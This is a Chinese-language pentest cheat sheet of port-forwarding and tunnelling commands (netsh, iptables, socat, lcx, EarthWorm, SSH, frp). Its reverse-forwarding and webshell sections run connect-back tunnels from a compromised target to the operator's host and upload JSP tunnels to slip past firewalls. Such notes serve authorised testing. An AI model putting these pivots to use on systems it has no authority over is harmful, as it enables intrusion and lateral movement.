正向端口轉發(重定向流量) 1.netsh 2.iptables 3.socat 4.lcx 5.htran 6.ew 7.termite 8.portmap 9.rtcp 10.FPipe 11.portfwd 12.rinetd 13.powershell 14.ssh 15.passport 16.netcat 反向端口轉發 1.ew 2.htran 3.lcx 4.portmap 5.ssh webshell類端口轉發 1.ReDuh 2.ABPTTS 3.Tunna 第三方自建內網穿透工具 1.ngork 2.nps 3.frp 4.lanproxy 5.holer
======================================================================================
netsh interface portproxy add v4tov4 listenport=8833 connectport=3389 connectaddress=10.0.1.251 protocol=tcp
表示本地監聽8833端口,將流量轉發到10.0.1.251的3389端口,流量轉發也可以理解為重定向流量
netsh interface portproxy dump
查看端口轉發
netsh interface portproxy delete v4tov4 listenport=8833
刪除端口轉發
iptables
添加路由轉發
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables的INPUT鏈配置允許放行
iptables -P INPUT ACCEPT
添加轉發規則
iptables -t nat -A PREROUTING -d 10.0.1.76 -p tcp -m tcp --dport 8833 -j DNAT --to-destination 10.0.1.251:3389
告訴其進來之后的流量要從轉給10.0.1.76上回去
iptables -t nat -A POSTROUTING -d 10.0.1.251 -p tcp -m tcp --dport 3389 -j SNAT --to-source 10.0.1.76
防火牆策略放通
iptables -A FORWARD -o ens199 -d 10.0.1.251 -p tcp --dport 3389 -j ACCEPT
保存iptables服務然后重啟
/etc/init.d/iptables save && /etc/init.d/iptables restart
同樣可以利用類似上面操作方式轉發ssh端口
iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.5:22
iptables -t nat -A POSTROUTING -d 192.168.1.5 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.6
iptables -A FORWARD -o eth2 -d 192.168.1.5 -p tcp --dport 22 -j ACCEPT
/etc/init.d/iptables save && /etc/init.d/iptables restart
socat
地址:http://www.dest-unreach.org/socat/
可以直接在kali上使用apt-get install socat進行安裝
socat TCP4-LISTEN:8833,reuseaddr,fork TCP4:10.0.1.251:3389
lcx
lcx -tran 8833 10.0.1.251 3389
htran
htran -p tran 8833 10.0.1.251 3389
EW 此工具官方已經不更新了,作者反饋危害很大,並且已經不提供下載地址了
該工具共有6中命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
工具地址:http://rootkiter.com/EarthWorm
ew -s lcx_tran -l 8833 -f 10.0.1.251 -g 3389
Termite
agent_linux64 -l 8833
agent_linux64 -c 10.0.1.251 -p 8833
agent_win32.exe -c 10.0.1.251 p 8833
show
goto 2
lcxtran 3388 10.0.1.252 3389
portmap linux環境下的lcx
linux_portmap -m 1 -p1 8833 -h2 10.0.1.251 -p2 3389
rtcp
rtcp.py 1:10001 l:10002 表示在本地監聽兩個端口10001和10002
rtcp.py c:localhost:22 c:112.112.11.1:10001
ssh -p 10002 112.112.11.1
https://github.com/knownsec/rtcp 具體可參考官方的示例
FPipe
這個只適合Windows不是太好用
Fpipe.exe -l 8833 -r 3389 10.0.1.251 -v
portfwd
metasploit中的工具
portfwd add -l 8833 -r 10.0.1.251 -p 3389
rinetd
挺好用的,地址:http://www.boutell.com/rinetd
同樣是正向端口轉發,也可以理解為流量重定向
powershell
PS>Powershell -exec -bypass
PS>Import-Module .\Invoke-SocksProxy.psm1
PS>Invoke-PortFwd -BindPort 8833 -DestHost 10.0.1.251 -DestPort 3389
ssh正向tcp端口加密轉發
這里就是經常說的ssh本地端口轉發
相應的參數說明和示例如下:
ssh -CfNg -L 8833:127.0.0.1:2222 user@ip //VPS 本地訪問VPS:8080就是內網的22端口
-C:該參數將使ssh壓縮所有通過Secure Shell客戶端發送的數據,包括輸入、輸出、錯誤消息及轉發數據。它使用gzip算法,壓縮級別可通過設置配制文件中的參數Compressicn Level來指定。這對於緩慢的傳輸線路特別有用的。但對於傳輸速度已經很快的網絡則顯得沒有必要。同樣,你可以利用配制文件針對每台主機配置這個參數。
-f:該參數將ssh連接送入后台執行。這在驗證已經完成且TCP/IP轉發已經建立的情況下會生效。這對在遠程主機上啟動X程序顯得十分重要。其后用戶將被提示要求輸入口令(提供的認證代理不運行),然后將連接送往后台。
-g:該參數允許遠程主機通過端口轉發與主機端口相連,通常情況下僅允許本地主機這樣做。
-N:不執行遠程指令。
-R:遠程轉發
-L:本地轉發
-D:動態轉發,即socks代理
-p:指定遠程ssh服務端口
-n:后台運行
-p:安靜模式,不要顯示任何debug信息
操作之前先檢查下ssh的配置,如果有密鑰互信也是可以的,沒有就密碼認證
# vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 斷開
PasswordAuthentication yes
# systemctl restart sshd
ssh -CfNg -L 0.0.0.0:8833:10.0.1.251:3389 root@10.0.1.87 -p 22
然后mstsc 10.0.1.251即可
或者
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768
netcat
ncat -l 8833 | ncat 10.0.1.251 3389
============================================================================================================================
反向端口轉發
ew
本機 ip 10.0.1.87
ew -s lcx_listen -l 8833 -e 3308
目標被控制機器執行
ew -s lcx_slave -d 10.0.1.87 -e 3308 -f 10.0.1.251 -g 3389
mstsc 127.0.0.1 8833
htran
這個是多線程包轉發,socks5 端口復用socks5和反連socks5
本機執行
htran -p -listen 53 8833
目標機器執行
htran -p -slave 10.0.1.87 53 10.0.1.251 3389
mstsc 127.0.0.1 8833
lcx
本機執行
lcx -listen 53 8833
目標主機執行
lcx -slave 10.0.1.87 53 10.0.1.251 3389
mstsc 127.0.0.1 8833
portmap
本機執行
linux_portmap -m 2 -p1 53 -p2 8833
目標主機執行
linux_portmap -m 3 -h1 10.0.1.87 -p1 53 -h2 10.0.1.86 -p2 22
ssh 127.0.0.1 -l root -p 8833
ssh遠程端口轉發
ssh -CfNg -R 0.0.0.0:53:10.0.1.251:3389 root@10.0.1.87 -p 22
這里需要說明一下,在ssh的遠程端口轉發中即使添加了參數-g也不能將隧道建立之后在本地監聽0.0.0.0的IP地址,所以此參數在遠程端口轉發中是無效的,不管加與不加,成功建立隧道都是本地監聽IP地址127.0.0.1 所以為了解決這個問題,就需要配合端口重定向的技術來解決,通常使用rinet來解決
vim /etc/rinetd.conf
編輯此配置文件添加轉發規則
0.0.0.0 8833 127.0.0.1 53
上述添加完成需要重啟rinetd服務
netstat -tunlpa | egrep "53|8833"
mstsc 10.0.1.87:8833
==========================================================================================================================
Webshell端口轉發
ReDuh是SensePost在BlackHat USA 2008發布的關於隧道數據進出網絡工具。ReDuh是一種可用於通過有效形成的HTTP請求創建TCP電路的工具。從本質上講,這意味着如果我們可以在服務器上上傳JSP / PHP / ASP頁面,我們可以輕松地連接到該服務器后面的主機
默認的情況下會監聽1010端口
前提是已經拿到目標的webshell,然后上傳reDuh.jsp
然后本地客戶端去連接
java -jar reDuhClient/dist/reDuhClient.jar http://10.0.1.87/reDuh.jsp
netstat -tlunp | grep ":1010"
使用nc去連接
nc -nv 127.0.0.1 1010
[createTunnel]2222:10.0.1.86:22
然后ssh連接
ssh 127.0.0.1 -l root -p 2222
此軟件對應的升級版:https://github.com/NoneNotNull/reGeorg
ABPTTS
ABPTTS是NCC Group在2016年blackhat推出的一款將TCP流量通過HTTP/HTTPS進 行流量轉發,在目前雲主機的大環境中,發揮了比較重要的作用,可以通過腳本進行 RDP,SSH,Meterpreter的交互與連接。也意味着這樣可以建立一個通過80端口得流量出站來 逃避防火牆。與其它http隧道不同的是,abptts是全加密
安裝依賴環境
pip install pycrypto 加密庫,整個通信數據加密基本都要靠這個庫來實現
pip install httplib2
生成webshell服務端
python abpttsfactory.py -o webshell
上傳到目標,進行訪問
curl http://10.0.1.87/abptts.jsp
客戶端連接服務端打通隧道
python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:8833/10.0.1.251:3389
遠程連接
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768
也可以將目標22端口轉出來
#python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:2228/10.0.1.92:22
然后使用ssh的動態端口轉發打通隧道
ssh -qngfNT -D 6688 root@127.0.0.1 -p 2228
proxychains socks5 127.0.0.1 6688
上述搞完了,就可以直接通過ssh隧道技術連接目標內網的其他主機的22端口
proxychains ssh root@10.0.1.85
Tunna
Tunna是一款將TCP通信流量封裝在HTTP協議的工具,適用於在有防火牆的環境中突破網絡限制
第三方自建的內網穿透工具
ngrokngrok 是一個反向代理,通過在公共端點和本地運行的 Web 服務器之間建立一個安全的通道,實現內網主機的服務可以暴露給外網
國內版本 https://www.ngrok.cc/ ,比較簡單,注冊賬戶然后配置一下服務端,從此網站上下載客戶端本地運行配置即可
國外版本 https://ngrok.com/ 開源項目地址:https://github.com/inconshreveable/ngrok
nps
nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,並帶有功能強大的web管理端
開源地址:https://github.com/cnlh/nps
frp
frp 是一個可用於內網穿透的高性能的反向代理應用,支持 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支持了點對點穿透,常用用於內網滲透
開源項目地址:https://github.com/fatedier/frp
Lanproxy
lanproxy是一個將局域網個人電腦、服務器代理到公網的內網穿透工具,目前僅支持tcp流量轉發,可支持任何tcp上層協議
開源項目地址:https://github.com/ffay/lanproxy-go-client
Holer
Holer是一個將局域網中的應用映射到公網訪問的端口映射軟件,支持轉發基於TCP協議的報文
開源項目地址:https://github.com/wisdom-projects/holer
natapp
官方地址:https://natapp.cn/
dog-tunnel
dog-tunnel基於kcp的p2p端口映射工具,同時支持socks5代理
開源項目地址:https://github.com/vzex/dog-tunnel
參考
https://xz.aliyun.com/t/142